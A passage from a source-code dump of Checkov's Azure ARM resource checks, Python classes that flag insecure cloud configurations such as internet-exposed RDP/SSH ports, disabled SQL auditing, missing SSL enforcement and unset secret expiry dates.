NSGRulePortAccessRestricted(BaseResourceCheck): def __init__(self, name: str, check_id: str, port: int) -> None: supported_resources = ( "Microsoft.Network/networkSecurityGroups", "Microsoft.Network/networkSecurityGroups/securityRules", ) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) self.port = port def is_port_in_range(self, port_range: Union[int, str]) -> bool: port_range_str = str(port_range) if re.match(PORT_RANGE, port_range_str): start, end = int(port_range_str.split("-")[0]), int(port_range_str.split("-")[1]) if start <= self.port <= end: return True if port_range in (str(self.port), "*"): return True return False def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: if "properties" in conf: securityRules = [] if self.entity_type == "Microsoft.Network/networkSecurityGroups": if "securityRules" in conf["properties"]: securityRules.extend(conf["properties"]["securityRules"]) if self.entity_type == "Microsoft.Network/networkSecurityGroups/securityRules": securityRules.append(conf) for rule in securityRules: portRanges = [] sourcePrefixes = [] if "properties" in rule: if "access" in rule["properties"] and rule["properties"]["access"].lower() == "allow": if "direction" in rule["properties"] and rule["properties"]["direction"].lower() == "inbound": if "protocol" in rule["properties"] and rule["properties"]["protocol"].lower() in ("tcp", "*"): if "destinationPortRanges" in rule["properties"]: portRanges.extend(rule["properties"]["destinationPortRanges"]) if "destinationPortRange" in rule["properties"]: portRanges.append(rule["properties"]["destinationPortRange"]) if "sourceAddressPrefixes" in rule["properties"]: sourcePrefixes.extend(rule["properties"]["sourceAddressPrefixes"]) if "sourceAddressPrefix" in rule["properties"]: sourcePrefixes.append(rule["properties"]["sourceAddressPrefix"]) for portRange in portRanges: if self.is_port_in_range(portRange): for prefix in sourcePrefixes: if prefix in INTERNET_ADDRESSES: return CheckResult.FAILED return CheckResult.PASSED ================================================ FILE: checkov/arm/checks/resource/NSGRuleRDPAccessRestricted.py ================================================ from checkov.arm.checks.resource.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted class NSGRuleRDPAccessRestricted(NSGRulePortAccessRestricted): def __init__(self) -> None: super().__init__( name="Ensure that RDP access is restricted from the internet", check_id="CKV_AZURE_9", port=3389 ) check = NSGRuleRDPAccessRestricted() ================================================ FILE: checkov/arm/checks/resource/NSGRuleSSHAccessRestricted.py ================================================ from checkov.arm.checks.resource.NSGRulePortAccessRestricted import NSGRulePortAccessRestricted class NSGRuleSSHAccessRestricted(NSGRulePortAccessRestricted): def __init__(self) -> None: super().__init__( name="Ensure that SSH access is restricted from the internet", check_id="CKV_AZURE_10", port=22 ) check = NSGRuleSSHAccessRestricted() ================================================ FILE: checkov/arm/checks/resource/NetworkWatcherFlowLogPeriod.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_int class NetworkWatcherFlowLogPeriod(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.network/2020-04-01/networkwatchers/flowlogs name = "Ensure that Network Security Group Flow Log retention period is 'greater than 90 days'" id = "CKV_AZURE_12" supported_resources = ( 'Microsoft.Network/networkWatchers/flowLogs', 'Microsoft.Network/networkWatchers/FlowLogs', 'Microsoft.Network/networkWatchers/flowLogs/', 'Microsoft.Network/networkWatchers/FlowLogs/', ) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: if "enabled" in conf["properties"]: if str(conf["properties"]["enabled"]).lower() == "true": if "retentionPolicy" in conf["properties"]: if "enabled" in conf["properties"]["retentionPolicy"]: if str(conf["properties"]["retentionPolicy"]["enabled"]).lower() == "true": if "days" in conf["properties"]["retentionPolicy"]: days = force_int(conf["properties"]["retentionPolicy"]["days"]) if days and days >= 90: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/enabled', 'properties/retentionPolicy', 'properties/retentionPolicy/enabled', 'properties/retentionPolicy/days'] check = NetworkWatcherFlowLogPeriod() ================================================ FILE: checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class PostgreSQLEncryptionEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that PostgreSQL server enables infrastructure encryption" id = "CKV_AZURE_130" supported_resources = ["Microsoft.DBforPostgreSQL/servers"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/infrastructureEncryption" def get_expected_value(self) -> str: return "Enabled" check = PostgreSQLEncryptionEnabled() ================================================ FILE: checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class PostgreSQLServerConnectionThrottlingEnabled(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers/configurations name = "Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server" id = "CKV_AZURE_32" supported_resources = ('Microsoft.DBforPostgreSQL/servers/configurations', 'configurations') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "type" in conf: if conf["type"] == "Microsoft.DBforPostgreSQL/servers/configurations": if "name" in conf and conf["name"] == "connection_throttling": if "properties" in conf: if "value" in conf["properties"] and \ conf["properties"]["value"].lower() == "on": return CheckResult.PASSED self.evaluated_keys = ['properties', 'properties/value'] return CheckResult.FAILED elif conf["type"] == "configurations": if "name" in conf and conf["name"] == "connection_throttling": if "parent_type" in conf: if conf["parent_type"] == "Microsoft.DBforPostgreSQL/servers": if "properties" in conf: if "value" in conf["properties"] and \ conf["properties"]["value"].lower() == "on": return CheckResult.PASSED self.evaluated_keys = ['properties', 'properties/value'] return CheckResult.FAILED else: self.evaluated_keys = ["properties"] return CheckResult.FAILED # If name not connection_throttling - don't report (neither pass nor fail) return CheckResult.UNKNOWN check = PostgreSQLServerConnectionThrottlingEnabled() ================================================ FILE: checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class PostgreSQLServerLogCheckpointsEnabled(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers/configurations # https://docs.microsoft.com/en-us/rest/api/postgresql/configurations/listbyserver#examples name = "Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server" id = "CKV_AZURE_30" supported_resources = ('Microsoft.DBforPostgreSQL/servers/configurations', 'configurations') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: self.evaluated_keys = ["properties"] if "type" in conf: if conf["type"] == "Microsoft.DBforPostgreSQL/servers/configurations": if "name" in conf and conf["name"] == "log_checkpoints": if "properties" in conf: if "value" in conf["properties"] and \ conf["properties"]["value"].lower() == "on": return CheckResult.PASSED self.evaluated_keys.append("properties/value") return CheckResult.FAILED elif conf["type"] == "configurations": if "name" in conf and conf["name"] == "log_checkpoints": if "parent_type" in conf: if conf["parent_type"] == "Microsoft.DBforPostgreSQL/servers": if "properties" in conf: if "value" in conf["properties"] and \ conf["properties"]["value"].lower() == "on": return CheckResult.PASSED self.evaluated_keys.append("properties/value") return CheckResult.FAILED else: return CheckResult.FAILED # If name not connection_throttling - don't report (neither pass nor fail) return CheckResult.UNKNOWN check = PostgreSQLServerLogCheckpointsEnabled() ================================================ FILE: checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class PostgreSQLServerLogConnectionsEnabled(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers # https://docs.microsoft.com/en-us/azure/templates/microsoft.dbforpostgresql/servers/configurations # https://docs.microsoft.com/en-us/rest/api/postgresql/configurations/listbyserver#examples name = "Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server" id = "CKV_AZURE_31" supported_resources = ('Microsoft.DBforPostgreSQL/servers/configurations', 'configurations') categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "type" in conf: if conf["type"] == "Microsoft.DBforPostgreSQL/servers/configurations": if "name" in conf and conf["name"] == "log_connections": if "properties" in conf: if "value" in conf["properties"] and \ conf["properties"]["value"].lower() == "on": return CheckResult.PASSED return CheckResult.FAILED elif conf["type"] == "configurations": if "name" in conf and conf["name"] == "log_connections": if "parent_type" in conf: if conf["parent_type"] == "Microsoft.DBforPostgreSQL/servers": if "properties" in conf: if "value" in conf["properties"] and \ conf["properties"]["value"].lower() == "on": return CheckResult.PASSED return CheckResult.FAILED else: return CheckResult.FAILED # If name not connection_throttling - don't report (neither pass nor fail) return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return ["type", "name", "properties/value"] check = PostgreSQLServerLogConnectionsEnabled() ================================================ FILE: checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class PostgreSQLServerHasPublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that PostgreSQL server disables public network access" id = "CKV_AZURE_68" supported_resources = ('Microsoft.DBforPostgreSQL/servers',) categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return 'properties/publicNetworkAccess' def get_expected_value(self) -> str: return "Disabled" check = PostgreSQLServerHasPublicAccessDisabled() ================================================ FILE: checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py ================================================ from typing import Any from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class PostgreSQLServerSSLEnforcementEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server" id = "CKV_AZURE_29" supported_resources = ["Microsoft.DBforPostgreSQL/servers"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/sslEnforcement" def get_expected_value(self) -> Any: return "Enabled" check = PostgreSQLServerSSLEnforcementEnabled() ================================================ FILE: checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class PostgressSQLGeoBackupEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that PostgreSQL server enables geo-redundant backups" id = "CKV_AZURE_102" supported_resources = ['Microsoft.DBforPostgreSQL/servers'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> Any: return 'properties/storageProfile/geoRedundantBackup' def get_expected_value(self) -> str: return 'Enabled' check = PostgressSQLGeoBackupEnabled() ================================================ FILE: checkov/arm/checks/resource/PubsubSKUSLA.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck class PubsubSKUSLA(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Web PubSub uses a SKU with an SLA" id = "CKV_AZURE_175" supported_resources = ("Microsoft.SignalRService/webPubSub",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,) def get_inspected_key(self) -> str: return "sku/name" def get_forbidden_values(self) -> Any: return "Free_F1" check = PubsubSKUSLA() ================================================ FILE: checkov/arm/checks/resource/PubsubSpecifyIdentity.py ================================================ from typing import Any from checkov.arm.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories class PubsubSpecifyIdentity(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Web PubSub uses managed identities to access Azure resources" id = "CKV_AZURE_176" supported_resources = ["Microsoft.SignalRService/webPubSub"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "identity/type" def get_expected_value(self) -> Any: return ANY_VALUE check = PubsubSpecifyIdentity() ================================================ FILE: checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class RedisCachePublicNetworkAccessEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Azure Cache for Redis disables public network access" id = "CKV_AZURE_89" supported_resources = ('Microsoft.Cache/redis',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/publicNetworkAccess' def get_expected_value(self) -> str: return 'Disabled' check = RedisCachePublicNetworkAccessEnabled() ================================================ FILE: checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class SQLDatabaseZoneRedundant(BaseResourceValueCheck): def __init__(self) -> None: """ This is a best practise which helps to: - Improved High Availability: Zone redundancy ensures that your database is replicated across Availability Zones within an Azure region. If one Availability Zone experiences an outage, your database continues to operate from the other zones, minimizing downtime. - Reduced Maintenance Downtime: Zone-redundant configurations often require less planned maintenance downtime because updates and patches can be applied to one zone at a time while the other zones continue to serve traffic. - Improved Scalability: Zone-redundant configurations are designed to scale with your workload. You can take advantage of features like Hyperscale to dynamically adjust resources based on your database's performance needs. - Improved SLA: Azure SQL Database zone-redundant configurations typically offer a higher service-level agreement (SLA) for availability compared to non-zone-redundant configurations. However, it's critical to note that: Note that: - Zone-redundant availability is available to databases in the General Purpose, Premium, Business Critical and Hyperscale service tiers of the vCore purchasing model, and not the Basic and Standard service tiers of the DTU-based purchasing model. - This may not be required for: - Databases that supports applications which doesn't a high maturity in terms of "High Availability" - Databases that are very sensitive to network latency that may increase the transaction commit time, and thus impact the performance of some OLTP workloads. """ name = "Ensure the Azure SQL Database Namespace is zone redundant" id = "CKV_AZURE_229" supported_resources = ["Microsoft.Sql/servers/databases",] categories = [CheckCategories.BACKUP_AND_RECOVERY,] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/zoneRedundant" check = SQLDatabaseZoneRedundant() ================================================ FILE: checkov/arm/checks/resource/SQLServerAuditingEnabled.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/databases/auditingsettings class SQLServerAuditingEnabled(BaseResourceCheck): # this should be a graph check, due to the possible connection between # Microsoft.Sql/servers -> Microsoft.Sql/servers/auditingSettings # Microsoft.Sql/servers -> Microsoft.Sql/servers/databases/auditingSettings def __init__(self) -> None: name = "Ensure that 'Auditing' is set to 'Enabled' for SQL servers" id = "CKV_AZURE_23" supported_resources = ("Microsoft.Sql/servers", "Microsoft.Sql/servers/databases") categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: resources = conf.get("resources") if resources and isinstance(resources, list): for resource in resources: if resource.get("type") in ( "auditingSettings", "Microsoft.Sql/servers/auditingSettings", "Microsoft.Sql/servers/databases/auditingSettings", ): properties = resource.get("properties") if properties: state = properties.get("state") if state and state.lower() == "enabled": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["resources"] check = SQLServerAuditingEnabled() ================================================ FILE: checkov/arm/checks/resource/SQLServerAuditingRetention90Days.py ================================================ from typing import Dict, Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/databases/auditingsettings class SQLServerAuditingRetention90Days(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers" id = "CKV_AZURE_24" supported_resources = ("Microsoft.Sql/servers",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: self.evaluated_keys = ["resources"] resources = conf.get("resources") or [] for idx, resource in enumerate(force_list(resources)): self.evaluated_keys = [ f"resources/[{idx}]/type", f"resources/[{idx}]/properties/state", f"resources/[{idx}]/properties/retentionDays", ] if resource.get("type") in ( "Microsoft.Sql/servers/databases/auditingSettings", 'Microsoft.Sql/servers/auditingSettings', "auditingSettings", ): return self.check_resource(resource) elif resource.get("type") in ( "databases" ): sub_resources = resource.get("resources") or [] for sr in sub_resources: if sr.get("type") == "Microsoft.Sql/servers/databases/auditingPolicies": return self.check_resource(sr) return CheckResult.FAILED @staticmethod def check_resource(resource: Dict[str, Any]) -> CheckResult: properties = resource.get("properties") if isinstance(properties, dict): state = properties.get("state") if isinstance(state, str) and state.lower() == "enabled": retention = properties.get("retentionDays") if isinstance(retention, int) and retention >= 90: return CheckResult.PASSED if isinstance(retention, str): try: if int(retention) >= 90: return CheckResult.PASSED except ValueError: # not a valid number return CheckResult.FAILED return CheckResult.FAILED check = SQLServerAuditingRetention90Days() ================================================ FILE: checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py ================================================ from typing import Dict, Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/securityalertpolicies class SQLServerEmailAlertsEnabled(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that 'Send Alerts To' is enabled for MSSQL servers" id = "CKV_AZURE_26" supported_resources = ("Microsoft.Sql/servers/databases",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: self.evaluated_keys = ["resources"] resources = conf.get("resources") or [] for idx, resource in enumerate(force_list(resources)): self.evaluated_keys = [ f"resources/[{idx}]/type", f"resources/[{idx}]/properties/state", f"resources/[{idx}]/properties/emailAddresses", ] if resource.get("type") in ( "Microsoft.Sql/servers/databases/securityAlertPolicies", "securityAlertPolicies", ): properties = resource.get("properties") if isinstance(properties, dict): state = properties.get("state") if isinstance(state, str) and state.lower() == "enabled": if properties.get("emailAddresses"): return CheckResult.PASSED return CheckResult.FAILED check = SQLServerEmailAlertsEnabled() ================================================ FILE: checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py ================================================ from typing import Dict, Any from checkov.arm.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/securityalertpolicies class SQLServerEmailAlertsToAdminsEnabled(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers" id = "CKV_AZURE_27" supported_resources = ["Microsoft.Sql/servers/databases"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: self.evaluated_keys = ["resources"] resources = conf.get("resources") or [] for idx, resource in enumerate(force_list(resources)): self.evaluated_keys = [ f"resources/[{idx}]/type", f"resources/[{idx}]/properties/state", f"resources/[{idx}]/properties/emailAccountAdmins", ] if resource.get("type") in ( "Microsoft.Sql/servers/databases/securityAlertPolicies", "securityAlertPolicies", ): properties = resource.get("properties") if isinstance(properties, dict): state = properties.get("state") if isinstance(state, str) and state.lower() == "enabled": email_admins = properties.get("emailAccountAdmins") if email_admins: return CheckResult.PASSED return CheckResult.FAILED check = SQLServerEmailAlertsToAdminsEnabled() ================================================ FILE: checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.arm.base_resource_value_check import BaseResourceValueCheck class SQLServerHasPublicAccessDisabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that SQL server disables public network access" id = "CKV_AZURE_113" supported_resources = ["Microsoft.Sql/servers"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self) -> str: return 'properties/publicNetworkAccess' def get_expected_value(self) -> str: return "Disabled" check = SQLServerHasPublicAccessDisabled() ================================================ FILE: checkov/arm/checks/resource/SQLServerNoPublicAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class SQLServerNoPublicAccess(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2014-04-01/servers/firewallrules name = "Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)" id = "CKV_AZURE_11" supported_resources = ("Microsoft.Sql/servers",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) # API Version 2015-05-01-preview and 2014-04-01 def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: resources = conf.get("resources") if resources and isinstance(resources, list): self.evaluated_keys = ["resources"] for idx, resource in enumerate(resources): self.evaluated_keys = [f"resources/[{idx}]/type", f"resources/[{idx}]/properties/startIpAddress", f"resources/[{idx}]/properties/endIpAddress"] resource_type = resource.get("type") if resource_type in ("Microsoft.Sql/servers/firewallRules", "firewallRules", "firewallrules"): if "properties" in resource: if ( "startIpAddress" in resource["properties"] and resource["properties"]["startIpAddress"] in ["0.0.0.0", "0.0.0.0/0"] # nosec # false positive and "endIpAddress" in resource["properties"] and resource["properties"]["endIpAddress"] == "255.255.255.255" ): return CheckResult.FAILED return CheckResult.PASSED check = SQLServerNoPublicAccess() ================================================ FILE: checkov/arm/checks/resource/SQLServerThreatDetectionTypes.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2019-06-01-preview/servers # https://docs.microsoft.com/en-us/azure/templates/microsoft.sql/2017-03-01-preview/servers/securityalertpolicies class SQLServerThreatDetectionTypes(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that 'Threat Detection types' is set to 'All'" id = "CKV_AZURE_25" supported_resources = ("Microsoft.Sql/servers/databases",) # 'Microsoft.Sql/servers' categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: resources = conf.get("resources") if isinstance(resources, list): self.evaluated_keys = ["resources"] for resource in resources: if "type" in resource: if resource["type"] in ( "Microsoft.Sql/servers/databases/securityAlertPolicies", "securityAlertPolicies", ): properties = resource.get("properties") if isinstance(properties, dict): if "state" in properties and properties["state"].lower() == "enabled": if not properties.get("disabledAlerts"): return CheckResult.PASSED return CheckResult.FAILED check = SQLServerThreatDetectionTypes() ================================================ FILE: checkov/arm/checks/resource/SQLServerUsesADAuth.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck class SQLServerUsesADAuth(BaseResourceNegativeValueCheck): def __init__(self) -> None: """ I think that this check is really, ensure that only AD auth is used (not user/pass) """ name = "Ensure Azure AD authentication is enabled for Azure SQL (MSSQL)" id = "CKV2_AZURE_27" supported_resources = ["Microsoft.Sql/servers"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'properties/administratorLogin' def get_forbidden_values(self) -> list[Any]: return [ANY_VALUE] check = SQLServerUsesADAuth() ================================================ FILE: checkov/arm/checks/resource/SecretContentType.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.arm.base_resource_value_check import BaseResourceValueCheck class SecretContentType(BaseResourceValueCheck): def __init__(self) -> None: name = 'Ensure that key vault secrets have "content_type" set' id = "CKV_AZURE_114" supported_resources = ("Microsoft.KeyVault/vaults/secrets",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "properties/contentType" def get_expected_value(self) -> Any: return ANY_VALUE check = SecretContentType() ================================================ FILE: checkov/arm/checks/resource/SecretExpirationDate.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class SecretExpirationDate(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults/secrets name = "Ensure that the expiration date is set on all secrets" id = "CKV_AZURE_41" supported_resources = ('Microsoft.KeyVault/vaults/secrets',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: self.evaluated_keys = ['properties'] if "attributes" in conf["properties"]: self.evaluated_keys = ['properties/attributes'] if "exp" in conf["properties"]["attributes"]: if conf["properties"]["attributes"]["exp"]: return CheckResult.PASSED return CheckResult.FAILED check = SecretExpirationDate() ================================================ FILE: checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class SecurityCenterContactEmailAlert(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.security/securitycontacts name = "Ensure that 'Send email notification for high severity alerts' is set to 'On'" id = "CKV_AZURE_21" supported_resources = ('Microsoft.Security/securityContacts',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: if "alertNotifications" in conf["properties"]: if str(conf["properties"]["alertNotifications"]).lower() == "on": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/alertNotifications'] check = SecurityCenterContactEmailAlert() ================================================ FILE: checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class SecurityCenterContactEmailAlertAdmins(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.security/securitycontacts name = "Ensure that 'Send email notification for high severity alerts' is set to 'On'" id = "CKV_AZURE_22" supported_resources = ('Microsoft.Security/securityContacts',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: if "alertsToAdmins" in conf["properties"]: if str(conf["properties"]["alertsToAdmins"]).lower() == "on": return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['properties', 'properties/alertsToAdmins'] check = SecurityCenterContactEmailAlertAdmins() ================================================ FILE: checkov/arm/checks/resource/SecurityCenterContactPhone.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.arm.base_resource_check import BaseResourceCheck class SecurityCenterContactPhone(BaseResourceCheck): def __init__(self) -> None: # https://docs.microsoft.com/en-us/azure/templates/microsoft.security/securitycontacts name = "Ensure that security contact 'Phone number' is set" id = "CKV_AZURE_20" supported_resources = ('Microsoft.Security/securityContacts',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if "properties" in conf: if "phone" in conf["properties"]: if conf["properties"]["phone"]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["properties", "properties/phone"] check = SecurityCenterContactPhone() ================================================ FILE: 